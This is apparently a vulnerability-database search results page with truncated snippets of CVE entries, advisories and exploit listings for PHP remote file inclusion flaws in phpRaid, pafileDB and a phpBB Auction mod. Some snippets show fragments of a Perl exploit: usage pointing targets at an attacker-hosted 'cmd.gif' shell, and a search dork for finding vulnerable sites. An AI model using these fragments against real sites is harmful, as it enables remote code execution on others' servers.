2446 matches found
CVE-2006-2283
CVE-2006-2283 affects SpiffyJr phpRaid versions 2.9.5 to 3.0.b3, enabling remote PHP code execution via remote file inclusion. Exploitation vectors involve crafted URLs in phpbb_root_path (auth.php/auth_phpbb with phpBB portal enabled) and smf_root_path (auth.php/auth_SMF with SMF portal enabled)...
CVE-2006-2283
Multiple PHP remote file inclusion vulnerabilities in SpiffyJr phpRaid 2.9.5 through 3.0.b3 allow remote attackers to execute arbitrary PHP code via a URL in the phpbbrootpath parameter in 1 auth.php and 2 authphpbb when the phpBB portal is enabled, and via a URL in the smfrootpath parameter in 3...
CVE-2006-2245
Summary of CVE-2006-2245 (CVE List: CVE-2006-2245) : Affected software is the Auction mod for phpBB (Auction mod 1.3m). The vulnerability resides in the file auction/auction_common.php, enabling a PHP remote file inclusion when an attacker supplies a URL in the phpbb_root_path parameter. This all...
CVE-2006-2245
PHP remote file inclusion vulnerability in auction\auctioncommon.php in Auction mod 1.3m for phpBB allows remote attackers to execute arbitrary PHP code via a URL in the phpbbrootpath parameter...
phpRaid-1.txt
Kurdish Security Advisory phpRaid Remote File Include PHPBB : "Sosyalizim'de ısrar insan olmakta ısrardır" Abdullah Ocalan Contact : irc.gigachat.net kurdhack & www.PatrioticHackers.com & [email protected] Script : phpRaid Script Website : http://www.spiffyjr.com/ Version : phpRaid v2.9.5 "...
phpRaid <= 3.0.b3 (phpBB/SMF) Remote File Inclusion Vulnerabilities
Exploit for unknown platform in category web applications ================================================================== pafileDB = 2.0.1 mxBB/phpBB Remote File Inclusion Vulnerability ================================================================== PafileDB Remote File InclusionphpBB Conta...
phpRaid <= 3.0.b3 (phpBB/SMF) Remote File Inclusion Vulnerabilities
No description provided by source. Kurdish Security Advisory phpRaid Remote File Include PHPBB/SMF : "Sosyalizim'de .srar insan olmakta .srard.r" Abdullah Ocalan Contact : irc.gigachat.net kurdhack & www.PatrioticHackers.com & [email protected] Script : phpRaid Script Website :...
pafileDB <= 2.0.1 (mxBB/phpBB) Remote File Inclusion Vulnerability
No description provided by source. PafileDB Remote File InclusionphpBB Contact : irc.gigachat.net ir4dex & [email protected] Risk : High Class : Remote Script : pafileDB Version : not specified --------------------------------------------------------------------- Vulnerable code :...
pafileDB 2.0.1 - 'mxBB'/'phpBB' Remote File Inclusion
PafileDB Remote File InclusionphpBB Contact : irc.gigachat.net ir4dex & [email protected] Risk : High Class : Remote Script : pafileDB Version : not specified --------------------------------------------------------------------- Vulnerable code : $linklanguage = 'langenglish'; include...
phpRaid 3.0.b3 - 'phpBB'/'SMF' Remote File Inclusion
Kurdish Security Advisory phpRaid Remote File Include PHPBB/SMF : "Sosyalizim'de .srar insan olmakta .srard.r" Abdullah Ocalan Contact : irc.gigachat.net kurdhack & www.PatrioticHackers.com & [email protected] Script : phpRaid Script Website : http://www.spiffyjr.com/ Version : phpRaid v2.9.5 "...
phpRaid 3.0.b3 - phpBBSMF Remote File Inclusion
phpRaid 3.0.b3 - phpBBSMF Remote File Inclusion Kurdish Security Advisory phpRaid Remote File Include PHPBB/SMF : "Sosyalizim'de .srar insan olmakta .srard.r" Abdullah Ocalan Contact : irc.gigachat.net kurdhack & www.PatrioticHackers.com & [email protected] Script : phpRaid Script Website :...
[Kurdish Security # 4] phpRaid Remote File Include Vulnerability (PHPBB)
Kurdish Security Advisory phpRaid Remote File Include PHPBB : "Sosyalizim'de srar insan olmakta srardr" Abdullah Ocalan Contact : irc.gigachat.net kurdhack & www.PatrioticHackers.com & [email protected] Script : phpRaid Script Website : http://www.spiffyjr.com/ Version : phpRaid v2.9.5 " v3.0.b...
CVE-2006-2245: Improper Control of Generation of Code
PHP remote file inclusion vulnerability in auction\auctioncommon.php in Auction mod 1.3m for phpBB allows remote attackers to execute arbitrary PHP code via a URL in the phpbbrootpath parameter...
[Full-disclosure] phpBB 2.0.20 Full Path Disclosure and SQL Errors
Source: http://securityreason.com/achievementsecurityalert/38 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 phpBB 2.0.20 Full Path Disclosure and SQL Errors Author: Maksymilian Arciemowicz cXIb8O3 Date: - -Written: 1.5.2006 - -Public: 5.5.2006 from SecurityReason.Com CVE: - - CVE-2006-2219 Full...
Auction <= 1.3m (phpbb_root_path) Remote File Include Exploit
Exploit for unknown platform in category web applications ============================================================= Auction perl wb1.pl http://vulnerable.com/ http://target.com/cmd.gif cmd cmd shell example: cmd shell variable: $GETcmd; use LWP::UserAgent; $Path = $ARGV0; $Pathtocmd = $ARGV1;...
Auction <= 1.3m (phpbb_root_path) Remote File Include Exploit
No description provided by source. !/usr/bin/perl phpBB auction mod - Remote File Inclusion Vuln Bug discovered by VietMafia code copier: webDEViL w3bd3vilatgmail.com code same as Fast Click = 2.3.8 Remote File Inclusion exploit dork: intext:"phpbb - auction" inurl:"auction" usage: perl wb1.pl...
Auction 1.3m - phpbb_root_path Remote File Inclusion
Auction 1.3m - phpbbrootpath Remote File Inclusion !/usr/bin/perl phpBB auction mod - Remote File Inclusion Vuln Bug discovered by VietMafia code copier: webDEViL w3bd3vilatgmail.com code same as Fast Click perl wb1.pl http://vulnerable.com/ http://target.com/cmd.gif cmd cmd shell example: cmd...
phpBB Multiple Module phpbb_root_path Parameter Remote File Inclusion
The remote host contains a third-party module for phpBB. The version of at least one such component or module installed on the remote host fails to sanitize input to the 'phpbbrootpath' parameter before using it to include PHP code. Provided PHP's 'registerglobals' setting is enabled, an...
Auction 1.3m - 'phpbb_root_path' Remote File Inclusion
!/usr/bin/perl phpBB auction mod - Remote File Inclusion Vuln Bug discovered by VietMafia code copier: webDEViL w3bd3vilatgmail.com code same as Fast Click perl wb1.pl http://vulnerable.com/ http://target.com/cmd.gif cmd cmd shell example: cmd shell variable: $GETcmd; use LWP::UserAgent; $Path =...
Remote file inclusion
PHP remote file inclusion vulnerability in top/list.php in phpBB TopList 1.3.8 and earlier allows remote attackers to include arbitrary files via the returnpath parameter...